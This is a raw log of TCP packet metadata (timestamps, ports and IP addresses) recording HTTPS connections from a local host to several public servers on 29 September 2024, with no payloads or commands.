Sep 29, 2024 15:46:01.649724007 CEST	443	49741	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:01.651686907 CEST	49742	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:01.651715994 CEST	443	49742	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:01.651786089 CEST	49742	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:01.652009964 CEST	49742	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:01.652025938 CEST	443	49742	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:02.106134892 CEST	443	49742	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:02.112787962 CEST	49742	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:02.112813950 CEST	443	49742	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:02.113149881 CEST	443	49742	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:02.117908001 CEST	49742	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:02.117985010 CEST	443	49742	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:02.122096062 CEST	49742	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:02.163414955 CEST	443	49742	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:02.240576029 CEST	443	49742	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:02.240617990 CEST	443	49742	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:02.240644932 CEST	443	49742	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:02.240668058 CEST	443	49742	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:02.240679026 CEST	49742	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:02.240710020 CEST	443	49742	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:02.240725994 CEST	49742	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:02.240747929 CEST	443	49742	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:02.240773916 CEST	443	49742	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:02.240791082 CEST	49742	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:02.240797997 CEST	443	49742	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:02.240932941 CEST	49742	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:02.241208076 CEST	443	49742	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:02.245287895 CEST	443	49742	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:02.245316029 CEST	443	49742	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:02.245372057 CEST	49742	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:02.245381117 CEST	443	49742	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:02.245477915 CEST	49742	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:02.327303886 CEST	443	49742	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:02.327368021 CEST	443	49742	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:02.327400923 CEST	443	49742	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:02.327406883 CEST	49742	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:02.327430010 CEST	443	49742	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:02.327465057 CEST	443	49742	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:02.327466011 CEST	49742	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:02.327485085 CEST	443	49742	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:02.327517986 CEST	49742	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:02.327527046 CEST	443	49742	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:02.328176975 CEST	443	49742	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:02.328201056 CEST	443	49742	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:02.328223944 CEST	49742	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:02.328232050 CEST	443	49742	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:02.328269958 CEST	49742	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:02.328290939 CEST	443	49742	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:02.329036951 CEST	443	49742	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:02.329065084 CEST	443	49742	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:02.329077959 CEST	49742	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:02.329083920 CEST	443	49742	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:02.329121113 CEST	49742	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:02.329123020 CEST	443	49742	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:02.329134941 CEST	443	49742	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:02.329185009 CEST	49742	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:02.329796076 CEST	443	49742	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:02.329890966 CEST	443	49742	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:02.329922915 CEST	443	49742	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:02.329927921 CEST	49742	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:02.329935074 CEST	443	49742	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:02.329968929 CEST	49742	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:02.330665112 CEST	443	49742	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:02.330733061 CEST	443	49742	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:02.330764055 CEST	443	49742	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:02.330774069 CEST	49742	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:02.330780983 CEST	443	49742	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:02.330813885 CEST	49742	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:02.330820084 CEST	443	49742	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:02.330852985 CEST	443	49742	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:02.330893040 CEST	49742	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:02.331326962 CEST	49742	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:02.331343889 CEST	443	49742	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:02.350337029 CEST	49743	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:02.350440979 CEST	443	49743	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:02.350542068 CEST	49743	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:02.350773096 CEST	49743	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:02.350811958 CEST	443	49743	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:02.378139019 CEST	49740	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:02.419400930 CEST	443	49740	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:02.778826952 CEST	49744	443	192.168.2.6	40.115.3.253
Sep 29, 2024 15:46:02.778877020 CEST	443	49744	40.115.3.253	192.168.2.6
Sep 29, 2024 15:46:02.778930902 CEST	49744	443	192.168.2.6	40.115.3.253
Sep 29, 2024 15:46:02.779778957 CEST	49744	443	192.168.2.6	40.115.3.253
Sep 29, 2024 15:46:02.779789925 CEST	443	49744	40.115.3.253	192.168.2.6
Sep 29, 2024 15:46:02.791944981 CEST	49745	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:02.791976929 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:02.792026043 CEST	49745	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:02.792628050 CEST	49745	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:02.792640924 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:02.807044029 CEST	443	49743	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:02.807589054 CEST	49743	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:02.807612896 CEST	443	49743	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:02.808651924 CEST	443	49743	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:02.808703899 CEST	49743	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:02.809324980 CEST	49743	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:02.809376001 CEST	443	49743	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:02.809473991 CEST	49743	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:02.809480906 CEST	443	49743	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:02.855981112 CEST	49743	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:02.943595886 CEST	443	49743	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:02.943701029 CEST	443	49743	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:02.943756104 CEST	49743	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:02.943782091 CEST	443	49743	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:02.943805933 CEST	443	49743	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:02.943851948 CEST	49743	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:02.943914890 CEST	443	49743	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:02.944041967 CEST	443	49743	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:02.944082975 CEST	49743	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:02.944102049 CEST	443	49743	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:02.944165945 CEST	443	49743	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:02.944204092 CEST	49743	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:02.944214106 CEST	443	49743	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:02.944288015 CEST	443	49743	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:02.944328070 CEST	49743	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:02.944336891 CEST	443	49743	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:02.948185921 CEST	443	49743	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:02.948234081 CEST	49743	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:02.948246002 CEST	443	49743	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:02.998507023 CEST	49743	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:03.030579090 CEST	443	49743	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:03.030663967 CEST	443	49743	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:03.030705929 CEST	49743	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:03.030728102 CEST	443	49743	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:03.031013966 CEST	443	49743	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:03.031052113 CEST	49743	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:03.031055927 CEST	443	49743	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:03.031074047 CEST	443	49743	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:03.031107903 CEST	49743	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:03.031127930 CEST	443	49743	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:03.031893969 CEST	443	49743	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:03.031932116 CEST	49743	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:03.031938076 CEST	443	49743	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:03.031974077 CEST	443	49743	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:03.032015085 CEST	443	49743	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:03.032016039 CEST	49743	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:03.032030106 CEST	443	49743	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:03.032058954 CEST	49743	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:03.032069921 CEST	443	49743	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:03.033041000 CEST	443	49743	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:03.033081055 CEST	49743	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:03.033087015 CEST	443	49743	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:03.033102036 CEST	443	49743	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:03.033143997 CEST	49743	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:03.033149958 CEST	443	49743	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:03.033206940 CEST	443	49743	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:03.033241034 CEST	49743	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:03.033246994 CEST	443	49743	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:03.033895016 CEST	443	49743	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:03.033941031 CEST	49743	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:03.033947945 CEST	443	49743	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:03.072288990 CEST	443	49743	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:03.072351933 CEST	49743	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:03.072371960 CEST	443	49743	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:03.072473049 CEST	443	49743	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:03.072566032 CEST	49743	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:03.072626114 CEST	49743	443	192.168.2.6	104.18.95.41
Sep 29, 2024 15:46:03.072643995 CEST	443	49743	104.18.95.41	192.168.2.6
Sep 29, 2024 15:46:03.249016047 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.249324083 CEST	49745	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:03.249345064 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.250355959 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.250420094 CEST	49745	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:03.250838041 CEST	49745	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:03.250901937 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.251038074 CEST	49745	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:03.251045942 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.296801090 CEST	49745	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:03.405235052 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.405307055 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.405330896 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.405356884 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.405380011 CEST	49745	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:03.405399084 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.405422926 CEST	49745	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:03.405813932 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.405849934 CEST	49745	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:03.405857086 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.406176090 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.406197071 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.406210899 CEST	49745	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:03.406218052 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.406971931 CEST	49745	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:03.409913063 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.455962896 CEST	49745	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:03.455982924 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.498352051 CEST	49746	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:03.498392105 CEST	443	49746	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.498532057 CEST	49746	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:03.498845100 CEST	49746	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:03.498857975 CEST	443	49746	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.500067949 CEST	49745	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:03.504107952 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.504149914 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.504162073 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.504184008 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.504213095 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.504220963 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.504240036 CEST	49745	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:03.504251957 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.504268885 CEST	49745	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:03.504985094 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.505049944 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.505088091 CEST	49745	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:03.505095005 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.505459070 CEST	49745	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:03.505513906 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.505548954 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.505577087 CEST	49745	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:03.505583048 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.505625010 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.505649090 CEST	49745	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:03.505654097 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.505692005 CEST	49745	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:03.505697966 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.506475925 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.506500959 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.506573915 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.506576061 CEST	49745	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:03.506586075 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.506608963 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.506640911 CEST	49745	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:03.506649017 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.506654978 CEST	49745	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:03.507409096 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.507484913 CEST	49745	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:03.507493019 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.556229115 CEST	49745	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:03.556253910 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.601026058 CEST	443	49744	40.115.3.253	192.168.2.6
Sep 29, 2024 15:46:03.601121902 CEST	49744	443	192.168.2.6	40.115.3.253
Sep 29, 2024 15:46:03.602901936 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.602936983 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.602972984 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.602999926 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.603008032 CEST	49745	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:03.603029013 CEST	49745	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:03.603034973 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.603051901 CEST	49745	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:03.603071928 CEST	49745	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:03.603081942 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.603089094 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.603132963 CEST	49745	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:03.603454113 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.603543997 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.603584051 CEST	49745	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:03.603595972 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.603683949 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.603725910 CEST	49745	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:03.603733063 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.603806019 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.603857040 CEST	49745	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:03.603863955 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.604109049 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.604154110 CEST	49745	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:03.604161024 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.604237080 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.604280949 CEST	49745	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:03.604286909 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.604404926 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.604430914 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.604449034 CEST	49745	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:03.604455948 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.604476929 CEST	49745	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:03.604538918 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.604579926 CEST	49745	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:03.604588985 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.605093002 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.605148077 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.605156898 CEST	49745	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:03.605164051 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.605206013 CEST	49745	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:03.605232000 CEST	49745	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:03.605315924 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.605351925 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.605376959 CEST	49745	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:03.605381012 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.605406046 CEST	49745	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:03.605453968 CEST	49745	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:03.637495041 CEST	49744	443	192.168.2.6	40.115.3.253
Sep 29, 2024 15:46:03.637518883 CEST	443	49744	40.115.3.253	192.168.2.6
Sep 29, 2024 15:46:03.638372898 CEST	443	49744	40.115.3.253	192.168.2.6
Sep 29, 2024 15:46:03.639985085 CEST	49744	443	192.168.2.6	40.115.3.253
Sep 29, 2024 15:46:03.640161037 CEST	49744	443	192.168.2.6	40.115.3.253
Sep 29, 2024 15:46:03.640166044 CEST	443	49744	40.115.3.253	192.168.2.6
Sep 29, 2024 15:46:03.640356064 CEST	49744	443	192.168.2.6	40.115.3.253
Sep 29, 2024 15:46:03.683407068 CEST	443	49744	40.115.3.253	192.168.2.6
Sep 29, 2024 15:46:03.690485001 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.690536022 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.690558910 CEST	49745	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:03.690574884 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.690582037 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.690603018 CEST	49745	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:03.690654039 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.690668106 CEST	49745	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:03.690677881 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.690696955 CEST	49745	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:03.690721035 CEST	49745	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:03.690766096 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.690808058 CEST	49745	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:03.690974951 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.691032887 CEST	49745	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:03.691178083 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.691226006 CEST	49745	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:03.691435099 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.691483021 CEST	49745	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:03.691524029 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.691566944 CEST	49745	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:03.691730976 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.691767931 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.691781998 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.691787004 CEST	49745	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:03.691793919 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.691813946 CEST	49745	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:03.691813946 CEST	49745	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:03.691848040 CEST	49745	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:03.691850901 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.691858053 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.691930056 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.691941023 CEST	49745	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:03.691967010 CEST	49745	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:03.692159891 CEST	49745	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:03.692176104 CEST	443	49745	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.708129883 CEST	49747	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:03.708175898 CEST	443	49747	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.708321095 CEST	49747	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:03.708533049 CEST	49747	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:03.708547115 CEST	443	49747	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:03.821386099 CEST	443	49744	40.115.3.253	192.168.2.6
Sep 29, 2024 15:46:03.821465969 CEST	443	49744	40.115.3.253	192.168.2.6
Sep 29, 2024 15:46:03.821568966 CEST	49744	443	192.168.2.6	40.115.3.253
Sep 29, 2024 15:46:03.823606014 CEST	49744	443	192.168.2.6	40.115.3.253
Sep 29, 2024 15:46:03.823623896 CEST	443	49744	40.115.3.253	192.168.2.6
